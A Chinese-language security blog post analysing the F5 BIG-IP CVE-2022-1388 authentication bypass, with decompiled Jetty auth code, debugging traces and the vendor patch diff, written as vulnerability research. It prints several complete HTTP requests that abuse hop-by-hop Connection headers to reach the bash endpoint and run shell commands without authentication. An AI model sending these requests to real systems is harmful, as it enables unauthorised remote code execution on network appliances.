F5 BIGIP CVE-2022-1388 认证绕过漏洞分析

字数统计: 3.3k字   |   阅读时长≈ 15分

暂无简介

概述

官网5月5日漏洞通告：https://support.f5.com/csp/article/K23605346

漏洞影响面：

作为java初学者，尝试基于大佬们的文章稍微深入的分析了一下，因为能力不足，在分析过程中其实没有保留一个很严谨的思路和逻辑，反倒像自己一些疑问点的探析，可能有点乱，希望能给观者启发，同时求大佬们轻锤。

分析

根据我的上一篇文章对CVE-2021-22986的分析可知

由于数据流是apache获取后根据url的模式将数据包转发给8100的jetty，针对F5 BIG-IP iControl REST API的认证绕过要过两关，分别是apache的认证以及jetty的认证。

apache认证验证逻辑

在CVE-2021-22986影响版本中（我的是16.0.0），针对apache的认证绕过只要满足包头中存在X-F5-Auth-Token字段即可绕过，但是CVE-2021-22986修复版本（我使用的是16.1.2.1）中进行了修复，如果包头X-F5-Auth-Token参数为空则会直接返回401，如果不为空则依然可以转发至jetty。

jetty认证验证逻辑

另外，在CVE-2021-22986影响版本中，jetty认证校验中只要求取包头X-F5-Auth-Token的值结果为null，同时Authorization头中username有效即可(admin为默认有效的username)，在CVE-2021-22986修复版本中，则首先会判断包头X-F5-Auth-Token的值结果是否为null，如果不是则使用包头X-F5-Auth-Token的值验证，如果为空则根据Authorization的值来进行判断。

根据CVE-2021-22986修复版本（我使用的是16.1.2.1）中setIdentityFromBasicAuth可知

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {
AuthProviderLoginState loginState = new AuthProviderLoginState();
loginState.username = components.userName;
loginState.password = components.password;
loginState.address = request.getRemoteSender();
RestRequestCompletion authCompletion = new RestRequestCompletion() {
public void completed(RestOperation subRequest) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
}
public void failed(Exception ex, RestOperation subRequest) {
RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});
if (ex.getMessage().contains("Password expired")) {
request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
}
if (runnable != null) {
runnable.run();
}
}
};
try {
RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);
RestRequestSender.sendPost(subRequest);
} catch (URISyntaxException var11) {
LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});
}
return true;
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
}
}
static {
TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";
}
}

修复后的代码针对请求头的X-Forwarded-Host这个list中最后一个元素做了检查，如果是127.0.0.1，或者是127.4.2.1同时username是f5hubblelcdadmin,则依然可以通过认证，但是其他的请求则无法直接通过认证，会检查认证是否过期，如果过期则使用Authoriaztion头中的口令密码重新验证。

hop-by-hop

根据hop-by-hop headers

据RFC 2616，HTTP/1.1 规范默认将以下标头视为逐跳：Keep-Alive、Transfer-Encoding、TE、Connection、Trailer、Upgrade和。当在请求中遇到这些标头时，兼容的代理应该处理或操作这些标头所指示的任何内容，而不是将它们转发到下一个跃点.除了这些默认值之外，请求还可以定义一组自定义的标头，通过将它们添加到connection中来逐跳处理，如下所示

Connection: close, X-Foo, X-Bar

这样子，不仅Connection不会呗转发到下一个跃点，而且其中定义的标头X-Foo、X-Bar也同样。参考以下示意图

组合实现漏洞绕过

一个有效的触发数据包是这样的

POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

我们可以大胆猜测，在apache检查中，因为头部X-F5-Auth-Token存在值且不为空，所以成功绕过验证；

在转发给jetty处理时根据hop-by-hop会将connection头以及X-F5-Auth-Token去掉转发；

在jetty验证中，再次取X-F5-Auth-Token值为空，X-Forwarded-Host会将Host字段的值添加进来，检查结果为127.0.0.1，且Authoriaztion中username有效(admin)，因而认证通过。

如果我们的猜测正确，那么发送以下数据包也应该成功(将Host ip设置为127.4.2.1，Authoriaztion的username设置为f5hubblelcdadmin)

POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.4.2.1
Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

测试确实成功：

并且如果在Host值为127.4.2.1的情况下将Authorization的username值设置为admin的话，则会失败，测试确实如所料

调试

为了验证猜想正确，进行调试分析

调试开启步骤参考上一篇文章，即编辑/var/service/restjavad/run文件，加入

JVM_OPTIONS+=" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"

同时，防火墙开启8777端口

[root@localhost:NO LICENSE:Standalone] / # tmsh
root@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos)# security firewall
root@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos.security.firewall)# modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }

然后使用idea连接远程调试即可

断点直接下在RestServerServlet.class的service函数中即可，直接看apache传过来的request

先发送一个可以触发漏洞的包：

POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

此时，在断点处获取到的op的值为

[
 id=4255273
 referer=null
 uri=http://localhost:8100/mgmt/tm/util/bash
 method=POST
 statusCode=200
 contentType=application/json
 contentLength=41
 contentRange=null
 deadline=Tue May 24 12:16:12 PDT 2022
 body=null
 forceSocket=false
 isResponse=false
 retriesRemaining=5
 coordinationId=null
 isConnectionCloseRequested=false
 isConnectionKeepAlive=true
 isRestErrorResponseRequired=true
 AdditionalHeadersAsString=
  Request:   'Local-Ip-From-Httpd'='172.16.113.247'
   'X-Forwarded-Proto'='http'
   'X-Forwarded-Server'='localhost.localdomain'
   'X-F5-New-Authtok-Reqd'='false'
   'X-Forwarded-Host'='127.0.0.1'
  Response:<empty>
 ResponseHeadersTrace=
 X-F5-Config-Api-Status=0]

可以看到，X-Forwarded-Host的值就是我们果然传进入的host的值，因为基本上确定，apache在处理过程中将host头参数添加到X-Forwarded-Host参数中并传递给jetty,通过字符串匹配的方法，我们查找并确定时/etc/httpd/modules/mod_proxy.so在处理这个头

可以看到，apache在处理过程中会调用mod_proxy.so，将Host的值添加到X-Forwarded-Host这个值当中，然后再传递给jetty，jetty又会根据X-Forwarded-Host的值来进行权限验证，整体流程基本清楚。

但是这里我们看到，程序是使用了apr_table_mergen这个方法来将Host的值添加到X-Forwarded-Host当中，而不是使用apr_table_set这个方法直接设置，所以我们试想，如果在发送给apache的包中直接就包含有效的X-Forwarded-Host值会如何呢？

测试发现失败的

在断点处获得op的值为：

[
 id=4260158
 referer=null
 uri=http://localhost:8100/mgmt/tm/util/bash
 method=POST
 statusCode=200
 contentType=application/json
 contentLength=41
 contentRange=null
 deadline=Tue May 24 12:40:23 PDT 2022
 body=null
 forceSocket=false
 isResponse=false
 retriesRemaining=5
 coordinationId=null
 isConnectionCloseRequested=false
 isConnectionKeepAlive=true
 isRestErrorResponseRequired=true
 AdditionalHeadersAsString=
  Request:   'Local-Ip-From-Httpd'='172.16.113.247'
   'X-Forwarded-Proto'='http'
   'X-Forwarded-Server'='localhost.localdomain'
   'X-F5-New-Authtok-Reqd'='false'
   'X-Forwarded-Host'='127.0.0.1, 123.123.123.123'
  Response:<empty>
 ResponseHeadersTrace=
 X-F5-Config-Api-Status=0]

经过调试分析可以看到，jetty拿到的数据包中的X-Forwarded-Host参数融合了Host和原始发送给apache的X-Forwarded-Host参数的值，但是jetty在认证检查setIdentityFromBasicAuth中检查的是X-Forwarded-Host这个列表中最后一个元素的值（即Host头的值），所以只有host的值为127.0.0.1或者127.4.2.1才行

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
} 
return true;
} else {
String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {
AuthProviderLoginState loginState = new AuthProviderLoginState();
loginState.username = components.userName;
loginState.password = components.password;
loginState.address = request.getRemoteSender();
RestRequestCompletion authCompletion = new RestRequestCompletion() {
public void completed(RestOperation subRequest) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
}
public void failed(Exception ex, RestOperation subRequest) {
RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});
if (ex.getMessage().contains("Password expired")) {
request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
}
if (runnable != null) {
runnable.run();
}
}
};
try {
RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);
RestRequestSender.sendPost(subRequest);
} catch (URISyntaxException var11) {
LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});
}
return true;
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
}
}
static {
TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";
}
}

但是，在jetty中，在RestServerServlet.class中setHostIpAddress中在获取到请求时会检查包头中是否有X-Forwarded-Host参数，如果有则跳过继续运行，如果没有的话则会赋值localhost。所以可以想到，在apache转发给jetty的请求中如果X-Forwarded-Host的值为空或者不存在，也可以绕过认证

如果直接发送给apache的包头中去掉Host参数，同时也没有X-Forwarded-Host参数的话，jetty获取到的X-Forwarded-Host值应该是空的，但是经过测试，Host参数不能缺少，否则报错

所以可以考虑通过hop-by-hop的方法，将X-Forwarded-Host添加在connection当中，这样子，在转发给jetty的X-Forwarded-Host参数应该也是空，尝试果然可以

测试果然如所料：

几种绕过模式总结

经过以上分析，发现绕过apache的思路其实比较单一，就是头中包含X-F5-Auth-Token，并且在connection中包含X-F5-Auth-Token

但是绕过jetty的方式不止一种，简单总结一下：

  1. host的值为127.0.0.1、localhost等值，Authorization为admin的base64

    POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

  2. host的值为127.4.2.1，Authoriaztion为f5hubblelcdadmin的base64

    POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.4.2.1
Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

  3. host值为默认，connection中包含X-Forwarded-Host的值，造成jetty在检查X-Forwarded-Host发现为空所以置localhost进而绕过

    POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.244
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
connection: X-F5-Auth-Token, X-Forwarded-Host
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

修复

安装16.1.2.2修复版本，查看修复情况

mod_auth_pam修复情况

简单查看mod_auth_pam.so针对X-F5-Auth-Token处理的变化

老版本中（16.1.2.1）中，只检查X-F5-Auth-Token的值不为空即可绕过认证

但是在修复版本（16.1.2.2）中X-F5-Auth-Token不仅不能为空，而且要检查正确性，有效才通过认证

Apache配置文件修复情况

╰─$ diff ./16.1.2.1/httpd.conf ./16.1.2.2/httpd.conf
1006a1007,1015
> <If "%{HTTP:connection} =~ /close/i ">
> RequestHeader set connection close
> </If>
> <ElseIf "%{HTTP:connection} =~ /keep-alive/i ">
> RequestHeader set connection keep-alive
> </ElseIf>
> <Else>
> RequestHeader set connection close
> </Else>

可以看出配置中新增选项，如果头connection中只要有close字段，则直接将connection的值设置为close，如果头connection中只要有keep-alive字段，则直接将connection的值设置为keep-alive,去除了通过hop-by-hop除去X-F5-Auth-Token头的可能性

实际测试一下，发送以下数据包：

POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.244
Authorization: Basic YWRtaW46YWRtaW4=
connection: close, X-Forwarded-Host
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

在jetty中下断点，发现X-Forwarded-Host依然存在，且取的是host的值，可判断，通过hop-by-hop除去X-F5-Auth-Token头的方法也不存在

[
 id=1690145
 referer=null
 uri=http://localhost:8100/mgmt/tm/util/bash
 method=POST
 statusCode=200
 contentType=application/json
 contentLength=41
 contentRange=null
 deadline=Fri May 27 06:17:23 PDT 2022
 body=null
 forceSocket=false
 isResponse=false
 retriesRemaining=5
 coordinationId=null
 isConnectionCloseRequested=false
 isConnectionKeepAlive=true
 isRestErrorResponseRequired=true
 AdditionalHeadersAsString=
  Request:   'Tmui-Dubbuf'='mbDASW8cWiBbzv7Ey2zxzKtX'
   'REMOTECONSOLE'='/bin/false'
   'REMOTEROLE'='0'
   'Session-Invalid'='true'
   'X-Forwarded-Proto'='http'
   'X-Forwarded-Host'='172.16.113.244'
   'X-F5-New-Authtok-Reqd'='false'
   'Local-Ip-From-Httpd'='172.16.113.245'
   'X-Forwarded-Server'='localhost.localdomain'
  Response:<empty>
 ResponseHeadersTrace=
 X-F5-Config-Api-Status=0]

参考

[1] 从滥用HTTP hop by hop请求头看CVE-2022-1388

[2] hop-by-hop headers

[3] CVE-2022-1388 F5 BIG-IP iControl REST 处理进程分析与认证绕过漏洞复现

[4] BIG-IP(CVE-2022-1388)从修复方案分析出exp

[5] F5 BIG-IP 未授权 RCE（CVE-2022-1388）分析

[6] CVE-2022-1388漏洞分析


  • 本文作者： 1s1and
  • 本文来源： 先知社区
  • 原文链接： https://xz.aliyun.com/t/11418
  • 版权声明： 除特别声明外，本文各项权利归原文作者和发表平台所有。转载请注明出处！
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俗话说“好记性不如烂笔头”，各个安全社区各自为战，当我们想要搜索某一方面的文章的时候总是得在各个平台之间来回横跳，于是乎，一个平台文章聚合搜索的想法诞生了。
然后正好我想有一个自己的博客，于是乎两者融合在了一起。
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